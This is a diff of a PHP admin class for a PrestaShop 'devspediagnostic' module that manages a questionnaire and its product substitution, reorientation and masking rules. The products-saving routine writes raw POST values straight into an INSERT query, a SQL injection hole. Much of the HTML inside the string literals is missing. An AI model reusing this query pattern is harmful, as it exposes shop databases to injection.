          '; + /* end cat 15 */ + + /* cat 16 */ + $productsSelected16=array(); + if($products16=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product + FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' + WHERE id_item = '.$id_item.' + and id_category=16 + and id_reponse='.$i)) + foreach($products16 as $id_product) + if(!in_array($id_product['id_product'],$productsSelected16)) + $productsSelected16[]=$id_product['id_product']; + $this->_html .= '


          '; + foreach ($category16->products as $product) + { + $this->_html .= ' + +
          '; + } + $this->_html .= '
          '; + /* end cat 16 */ + + /* cat 17 */ + $productsSelected17=array(); + if($products17=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product + FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' + WHERE id_item = '.$id_item.' + and id_category=17 + and id_reponse='.$i)) + foreach($products17 as $id_product) + if(!in_array($id_product['id_product'],$productsSelected17)) + $productsSelected17[]=$id_product['id_product']; + $this->_html .= '


          '; + foreach ($category17->products as $product) + { + $this->_html .= ' + +
          '; + } + $this->_html .= '
          '; + /* end cat 16 */ + $this->_html .= '
          '; + } + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoires').'

          + +
          '; + $this->_html .= '
          '; + } + private function _displayFormConditions($table="conditions") + { + /* Sets item : depends if edited or added */ + + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + // devspediagnostic_croisement + + + $item = null; + if (Tools::getValue('id_condition')) + { + $condition = new Conditions((int)Tools::getValue('id_condition')); + $id_condition=(int)$condition->id; + $id_question_1=(int)$condition->id_question_1; + $id_question_2=(int)$condition->id_question_2; + $id_question_3=(int)$condition->id_question_3; + $id_reponse_1=(int)$condition->id_reponse_1; + $id_reponse_2=(int)$condition->id_reponse_2; + $id_reponse_3=(int)$condition->id_reponse_3; + $id_product_1=(int)$condition->id_product_1; + $id_product_2=(int)$condition->id_product_2; + } + else{ + $id_condition=''; + $id_question_1=''; + $id_question_2=''; + $id_question_3=''; + $id_reponse_1=''; + $id_reponse_2=''; + $id_reponse_3=''; + $id_product_1=''; + $id_product_2=''; + } + + + + + $products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(pl.id_product ),pl.name + FROM '._DB_PREFIX_.'product_lang pl + left join '._DB_PREFIX_.'category_product cp on(cp.id_product=pl.id_product) + WHERE id_lang=1 + and (cp.id_category=14 + or cp.id_category=15 + or cp.id_category=16 + or cp.id_category=17) + + order by name asc'); + + /* Form */ + $this->_html .= '
          '; + // if($table=="conditions") + $this->_html .= '

          Conditions de substitution des produits

          +

          Sélectionnez le numéro de question, le numéro de réponse puis quel produit remplacera quel produit.

          +

          Vous pouvez aussi combiner 2 questions et réponses.

          '; + // else + // $this->_html .= '

          Exclusion des produits

          Les produits cochés ci-dessous n\'apparaîtront pas dans le diagnostic (annule le croisement)

          '; + + $this->_html .= '
          '; + $this->_html .= ''; + + /* Fieldset edit/add */ + + // foreach($products as $row) + // if(!in_array($id_product['id_product'],$fullProducts)) + // $fullProducts[]=$row; + // print_r($productsSelected); + + $this->_html .= '
          '; + if($id_condition!='') + $this->_html .= 'Condition : #'.$id_condition.''; + else + $this->_html .= 'Nouvelle condition de substitution'; + + /* cat 14 */ + $this->_html .= ' + '; + $this->_html .= ''; + $this->_html .= ' *'; + + $this->_html .= ' +

          '; + $this->_html .= ' '; + $this->_html .= ''; + + $this->_html .= ' +

          '; + $this->_html .= ' '; + $this->_html .= ''; + + + $this->_html .= '

          '; + $this->_html .= '
          '; + + + $this->_html .= '
          '; + $this->_html .= ''; + + + $this->_html .= '
          '; + /* end cat 16 */ + $this->_html .= '
          '; + + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoires').'

          + +
          '; + $this->_html .= '
          '; + } + private function _displayformreorientation($table="reorientation") + { + /* Sets item : depends if edited or added */ + + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + // devspediagnostic_croisement + + + $item = null; + if (Tools::getValue('id_reorientation')) + { + $reorientation = new Reorientations((int)Tools::getValue('id_reorientation')); + $id_reorientation=(int)$reorientation->id; + $id_question_1=(int)$reorientation->id_question_1; + $id_question_2=(int)$reorientation->id_question_2; + $id_question_3=(int)$reorientation->id_question_3; + $id_question_4=(int)$reorientation->id_question_4; + $id_reponse_1=(int)$reorientation->id_reponse_1; + $id_reponse_2=(int)$reorientation->id_reponse_2; + $id_reponse_3=(int)$reorientation->id_reponse_3; + $id_reponse_4=(int)$reorientation->id_reponse_4; + $id_product_1=(int)$reorientation->id_product_1; + // echo $id_question_1; + // die(); + } + else{ + $id_reorientation=''; + $id_question_1=''; + $id_question_2=''; + $id_question_3=''; + $id_question_4=''; + $id_reponse_1=''; + $id_reponse_2=''; + $id_reponse_3=''; + $id_reponse_4=''; + $id_product_1=''; + } + + + + + $products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(pl.id_product ),pl.name + FROM '._DB_PREFIX_.'product_lang pl + left join '._DB_PREFIX_.'category_product cp on(cp.id_product=pl.id_product) + WHERE id_lang=1 + and (cp.id_category=14 + or cp.id_category=15 + or cp.id_category=16 + or cp.id_category=17) + + order by name asc'); + + /* Form */ + $this->_html .= '
          '; + // if($table=="conditions") + $this->_html .= '

          Conditions de réorientation

          +

          Sélectionnez les numéro de questions , les numéros de réponses incohérents (1) (2) (3) puis sélectionnez la "bonne" question réponse et réponse (4)

          '; + // else + // $this->_html .= '

          Exclusion des produits

          Les produits cochés ci-dessous n\'apparaîtront pas dans le diagnostic (annule le croisement)

          '; + + $this->_html .= '
          '; + $this->_html .= ''; + + /* Fieldset edit/add */ + + // foreach($products as $row) + // if(!in_array($id_product['id_product'],$fullProducts)) + // $fullProducts[]=$row; + // print_r($productsSelected); + + $this->_html .= '
          '; + if($id_reorientation!='') + $this->_html .= 'Réorientation : #'.$id_reorientation.''; + else + $this->_html .= 'Nouvelle reorientation de substitution'; + + /* cat 14 */ + $this->_html .= ' +
          +
          + '; + $this->_html .= ''; + $this->_html .= ' * +
          +
          +
          '; + + $this->_html .= '
          + '; + $this->_html .= ''; + $this->_html .= ' * +
          +
          +
          + '; + $this->_html .= '
          + '; + $this->_html .= ''; + $this->_html .= ' * +
          '; + $this->_html .= ' +
          +
          + '; + $this->_html .= ''; + $this->_html .= ' * +
          +
          '; + + + // $this->_html .= '


          '; + // $this->_html .= '
          '; + + /* end cat 16 */ + $this->_html .= '
          '; + + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoires').'

          + +
          '; + $this->_html .= '
          '; + } + private function _displayFormMasquerquestions($table="masquerquestion") + { + /* Sets item : depends if edited or added */ + + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + // devspediagnostic_croisement + + + $item = null; + if (Tools::getValue('id_masquerquestion')) + { + $masquerquestion = new Masquerquestions((int)Tools::getValue('id_masquerquestion')); + $id_masquerquestion=(int)$masquerquestion->id; + $id_question_1=(int)$masquerquestion->id_question_1; + $id_question_2=(int)$masquerquestion->id_question_2; + $id_reponse_1=(int)$masquerquestion->id_reponse_1; + } + else{ + $id_masquerquestion=''; + $id_question_1=''; + $id_question_2=''; + $id_reponse_1=''; + } + + + /* Form */ + $this->_html .= '
          '; + // if($table=="conditions") + $this->_html .= '

          Question à masquer

          +

          Sélectionnez le numéro de question, le numéro de réponse puis la question à masquer.

          '; + // else + // $this->_html .= '

          Exclusion des produits

          Les produits cochés ci-dessous n\'apparaîtront pas dans le diagnostic (annule le croisement)

          '; + + $this->_html .= '
          '; + $this->_html .= ''; + + /* Fieldset edit/add */ + + // foreach($products as $row) + // if(!in_array($id_product['id_product'],$fullProducts)) + // $fullProducts[]=$row; + // print_r($productsSelected); + + $this->_html .= '
          '; + if($id_masquerquestion!='') + $this->_html .= 'Condition : #'.$id_masquerquestion.''; + else + $this->_html .= 'Nouvelle condition de masquage'; + + /* cat 14 */ + $this->_html .= ' +
          +
          + '; + $this->_html .= ''; + $this->_html .= ' +
          '; + + $this->_html .= '
          +
          '; + $this->_html .= ' +
          '; + + + $this->_html .= '
          '; + /* end cat 16 */ + $this->_html .= '
          '; + + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoires').'

          + +
          '; + $this->_html .= '
          '; + } + private function _displayFormSubtitutions($table="substitutions") + { + /* Sets item : depends if edited or added */ + + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + // devspediagnostic_croisement + + + $item = null; + if (Tools::getValue('id_substitution')) + { + $substitution = new Substitutions((int)Tools::getValue('id_substitution')); + $id_substitution=(int)$substitution->id; + $id_product_1=(int)$substitution->id_product_1; + $id_product_2=(int)$substitution->id_product_2; + } + else{ + $id_substitution=''; + $id_product_1=''; + $id_product_2=''; + } + + + + + $products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(pl.id_product ),pl.name + FROM '._DB_PREFIX_.'product_lang pl + left join '._DB_PREFIX_.'category_product cp on(cp.id_product=pl.id_product) + WHERE id_lang=1 + and (cp.id_category=14 + or cp.id_category=15 + or cp.id_category=16 + or cp.id_category=17) + + order by name asc'); + + /* Form */ + $this->_html .= '
          '; + // if($table=="conditions") + $this->_html .= '

          Substitution des produits dans un même rituel

          '; + //

          Si le produit 1 se trouve dans le même rituel que le produit 2, alors le produit 1 ne s\'affichera pas

          + // else + // $this->_html .= '

          Exclusion des produits

          Les produits cochés ci-dessous n\'apparaîtront pas dans le diagnostic (annule le croisement)

          '; + + $this->_html .= '
          '; + $this->_html .= ''; + + /* Fieldset edit/add */ + + // foreach($products as $row) + // if(!in_array($id_product['id_product'],$fullProducts)) + // $fullProducts[]=$row; + // print_r($productsSelected); + + $this->_html .= '
          '; + if($id_substitution!='') + $this->_html .= 'Substitution : #'.$id_substitution.''; + else + $this->_html .= 'Nouvelle substitution de produits dans un même rituel'; + + $this->_html .= '

          '; + $this->_html .= ' + +
          '; + + + $this->_html .= '
          + +
          +
          +
          + +
          '; + $this->_html .= '
          '; + + + $this->_html .= '
          + + + '; + + /* end cat 16 */ + $this->_html .= '
          '; + + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' + +
          '; + $this->_html .= '
          '; + } + private function _displayAddForm() + { + /* Sets item : depends if edited or added */ + $item = null; + if (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item'))) + $item = new Diagnostic((int)Tools::getValue('id_item')); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + // $divLangName = 'iimage¤image¤title¤url¤legend¤description'; + $divLangName = 'questionn¤repAA¤repBB¤repCC¤repDD¤repEE¤texterepA¤texterepB¤texterepC¤texterepD¤texterepE'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('additem')) /* Configure legend */ + $this->_html .= '<'.$this->l('Question').''; + elseif (Tools::isSubmit('id_item')) /* Edit legend */ + $this->_html .= ''.$this->l('Modification de la question').' #'.$item->id.''; + /* Sets id item as hidden */ + if ($item && Tools::getValue('id_item')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'questionn', true); + $this->_html .= '


          '; + + /* repA */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'repAA', true); + $this->_html .= '


          '; + + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'texterepA', true); + $this->_html .= '

          '; + + /* repB */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'repBB', true); + $this->_html .= '


          '; + + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'texterepB', true); + $this->_html .= '

          '; + + + /* repC */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'repCC', true); + $this->_html .= '


          '; + + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'texterepC', true); + $this->_html .= '

          '; + + /* repD */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'repDD', true); + $this->_html .= '


          '; + + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'texterepD', true); + $this->_html .= '

          '; + + + /* repE */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'repEE', true); + $this->_html .= '


          '; + + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'texterepE', true); + $this->_html .= '

          '; + + + /* Active */ + $this->_html .= ' +
          +
          + Yes + + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs oblgiatoires').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for itemz configuration */ + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid item'); + } + /* Validation for item */ + elseif (Tools::isSubmit('submititem')) + { + /* Checks state (active) */ + // if (!Validate::isInt(Tools::getValue('active_item')) || (Tools::getValue('active_item') != 0 && Tools::getValue('active_item') != 1)) + // $errors[] = $this->l('Invalid item state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid item position'); + /* If edit : checks id_item */ + if (Tools::isSubmit('id_item')) + { + if (!Validate::isInt(Tools::getValue('id_item')) && !$this->itemExists(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid id_item'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('question_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('question_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_item') && (!Validate::isInt(Tools::getValue('delete_id_item')) || !$this->itemExists((int)Tools::getValue('delete_id_item')))) + $errors[] = $this->l('Invalid id_item'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_item')) + { + $item = new Diagnostic((int)Tools::getValue('id_item')); + if ($item->active == 0) + $item->active = 1; + else + $item->active = 0; + $res = $item->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes item */ + elseif (Tools::isSubmit('submititem')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_item')) + { + $item = new Diagnostic((int)Tools::getValue('id_item')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + } + else + $item = new Diagnostic(); + /* Sets position */ + $item->position = (int)Tools::getValue('position'); + // $item->id_product = (int)Tools::getValue('id_product'); + /* Sets active */ + $item->active = 1; + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $item->question[$language['id_lang']] = Tools::getValue('question_'.$language['id_lang']); + $item->repA[$language['id_lang']] = Tools::getValue('repA_'.$language['id_lang']); + $item->repB[$language['id_lang']] = Tools::getValue('repB_'.$language['id_lang']); + $item->repC[$language['id_lang']] = Tools::getValue('repC_'.$language['id_lang']); + $item->repD[$language['id_lang']] = Tools::getValue('repD_'.$language['id_lang']); + $item->repE[$language['id_lang']] = Tools::getValue('repE_'.$language['id_lang']); + $item->texterepA[$language['id_lang']] = Tools::getValue('texterepA_'.$language['id_lang']); + $item->texterepB[$language['id_lang']] = Tools::getValue('texterepB_'.$language['id_lang']); + $item->texterepC[$language['id_lang']] = Tools::getValue('texterepC_'.$language['id_lang']); + $item->texterepD[$language['id_lang']] = Tools::getValue('texterepD_'.$language['id_lang']); + $item->texterepE[$language['id_lang']] = Tools::getValue('texterepE_'.$language['id_lang']); + } + // print_r($item); + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_item')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_item')) + { + $item = new Diagnostic((int)Tools::getValue('delete_id_item')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submititem') && Tools::getValue('id_item')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('submititem')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + private function _postProcessConditions() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('formconditions')) + { + // $item = new ConditioQn((int)Tools::getValue('id_condition')); + // $res = $item->update(); + // $this->clearCache(); + // $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + + /* Sets ID if needed */ + if (Tools::getValue('id_condition')) + { + $item = new Conditions((int)Tools::getValue('id_condition')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_condition')); + return; + } + } + else + $item = new Conditions(); + // $item->active = 1; + + /* Sets each langue fields */ + // $languages = Language::getLanguages(false); + // foreach ($languages as $language) + // { + $item->id_question_1 = Tools::getValue('id_question_1'); + $item->id_question_2 = Tools::getValue('id_question_2'); + $item->id_question_3 = Tools::getValue('id_question_3'); + $item->id_reponse_1 = Tools::getValue('id_reponse_1'); + $item->id_reponse_2 = Tools::getValue('id_reponse_2'); + $item->id_reponse_3 = Tools::getValue('id_reponse_3'); + $item->id_product_1 = Tools::getValue('id_product_1'); + $item->id_product_2 = Tools::getValue('id_product_2'); + // } +// print_r($errors); +// die(); + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_condition')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + // echo Tools::getValue('id_condition'); + // echo "test"; + // die(); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::getValue('delete_id_condition')) + { + $item = new Conditions((int)Tools::getValue('delete_id_condition')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('formconditions') && Tools::getValue('id_condition')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('formconditions')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + private function _postProcessReorientations() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('formreorientation')) + { + // $item = new ConditioQn((int)Tools::getValue('id_reorientation')); + // $res = $item->update(); + // $this->clearCache(); + // $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + + /* Sets ID if needed */ + if (Tools::getValue('id_reorientation')) + { + $item = new reorientations((int)Tools::getValue('id_reorientation')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_reorientation')); + return; + } + } + else + $item = new reorientations(); + // $item->active = 1; + + /* Sets each langue fields */ + // $languages = Language::getLanguages(false); + // foreach ($languages as $language) + // { + $item->id_question_1 = Tools::getValue('id_question_1'); + $item->id_question_2 = Tools::getValue('id_question_2'); + $item->id_reponse_1 = Tools::getValue('id_reponse_1'); + $item->id_reponse_2 = Tools::getValue('id_reponse_2'); + $item->id_question_3 = Tools::getValue('id_question_3'); + $item->id_question_4 = Tools::getValue('id_question_4'); + $item->id_reponse_3 = Tools::getValue('id_reponse_3'); + $item->id_reponse_4 = Tools::getValue('id_reponse_4'); + // } +// print_r($errors); +// die(); + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_reorientation')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + // echo Tools::getValue('id_reorientation'); + // echo "test"; + // die(); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::getValue('delete_id_reorientation')) + { + $item = new reorientations((int)Tools::getValue('delete_id_reorientation')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('formreorientation') && Tools::getValue('id_reorientation')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('formreorientation')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + private function _postProcessMasquerquestions() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('formmasquerquestion')) + { + // $item = new ConditioQn((int)Tools::getValue('id_condition')); + // $res = $item->update(); + // $this->clearCache(); + // $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + + /* Sets ID if needed */ + if (Tools::getValue('id_masquerquestion')) + { + $item = new Masquerquestions((int)Tools::getValue('id_masquerquestion')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_masquerquestion')); + return; + } + } + else + $item = new Masquerquestions(); + // $item->active = 1; + + /* Sets each langue fields */ + // $languages = Language::getLanguages(false); + // foreach ($languages as $language) + // { + $item->id_question_1 = Tools::getValue('id_question_1'); + $item->id_question_2 = Tools::getValue('id_question_2'); + $item->id_reponse_1 = Tools::getValue('id_reponse_1'); + if($item->id_question_1==$item->id_question_2){ + $errors[] = $this->displayError($this->l('Les questions doivent être différentes')); + return; + } + + // } +// print_r($errors); +// die(); + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_masquerquestion')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::getValue('delete_id_masquerquestion')) + { + $item = new Masquerquestions((int)Tools::getValue('delete_id_masquerquestion')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('formmasquerquestions') && Tools::getValue('id_masquerquestion')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('formmasquerquestions')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + private function _postProcessSubstitutions() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('formsubstitutions')) + { + // $item = new ConditioQn((int)Tools::getValue('id_condition')); + // $res = $item->update(); + // $this->clearCache(); + // $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + + /* Sets ID if needed */ + if (Tools::getValue('id_substitution')) + { + $item = new Substitutions((int)Tools::getValue('id_substitution')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_substitution')); + return; + } + } + else + $item = new Substitutions(); + + $item->id_product_1 = Tools::getValue('id_product_1'); + $item->id_product_2 = Tools::getValue('id_product_2'); + if($item->id_product_1 == $item->id_product_2){ + $this->_html .= $this->displayError($this->l('Les produits doivent être différents')); + return; + } + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_substitution')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + // echo Tools::getValue('id_condition'); + // echo "test"; + // die(); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::getValue('delete_id_substitution')) + { + $item = new Substitutions((int)Tools::getValue('delete_id_substitution')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('formsubstitutions') && Tools::getValue('id_substitution')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('formsubstitutions')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + private function _postProcessProducts($type="croisement") + { + $errors = array(); + + // products_'.$id_item.$lettre.'[] + + /* Processes item */ + if (Tools::isSubmit('form'.$type) && $type=="croisement" || $type=="exclusion") + { + /* Sets ID if needed */ + if (Tools::getValue('id_item')) + { + $item = new Diagnostic((int)Tools::getValue('id_item')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + $id_item=(int)Tools::getValue('id_item'); + $lettres=Tools::getValue('lettre'); + foreach($lettres as $lettre){ + if($lettre=="A")$id_reponse=1; + if($lettre=="B")$id_reponse=2; + if($lettre=="C")$id_reponse=3; + if($lettre=="D")$id_reponse=4; + if($lettre=="E")$id_reponse=5; + Db::getInstance()->execute('delete from '._DB_PREFIX_.'devspediagnostic_'.$type.' where id_item='.$id_item.' and id_reponse='.$id_reponse); + // echo 'delete from '._DB_PREFIX_.'devspediagnostic_'.$type.' where id_item='.$id_item.' and id_reponse='.$id_reponse; + // echo '
          '; + // CAT 14 + for($i=14;$i<=17;$i++){ + $produits=array(); + if($products=$_POST['products_'.$id_item.$lettre.'_'.$i]) + foreach($products as $id_product){ + // if(!in_array($id_product,$produits)){ + // $produits[]=(int)$id_product; + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'devspediagnostic_'.$type.' (id_item,id_reponse, id_product,id_category) values ('.$id_item.','.$id_reponse.','.$id_product.','.$i.')'); + // } + } + } + } + $this->_html .= $this->displayConfirmation($this->l('Mise à jour effectuée')); + // die(); + // products_'.$id_item.$lettre.'[]; + } + else{ + // $item = new Diagnostic(); + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + } + } + + private function _prepareHook() + { + if (!$this->isCached('devspediagnostic.tpl', $this->getCacheId())) + { + $items = $this->getitems(true); + if (!$items) + return false; + + $this->smarty->assign('devspediagnostic_items', $items); + } + + return true; + } + + public function hookDisplayHome() + { + /* + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxitemz.min.js'); + $this->context->controller->addCSS($this->_path.'devspediagnostic.css'); + $this->context->controller->addJS($this->_path.'js/devspediagnostic.js'); + return $this->display(__FILE__, 'devspediagnostic.tpl', $this->getCacheId()); + */ + } + + public function clearCache() + { + $this->_clearCache('devspediagnostic.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspediagnostic (id_item, id_shop) + SELECT id_item, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspediagnostic + WHERE id_shop = '.(int)$params['old_id_shop']); + 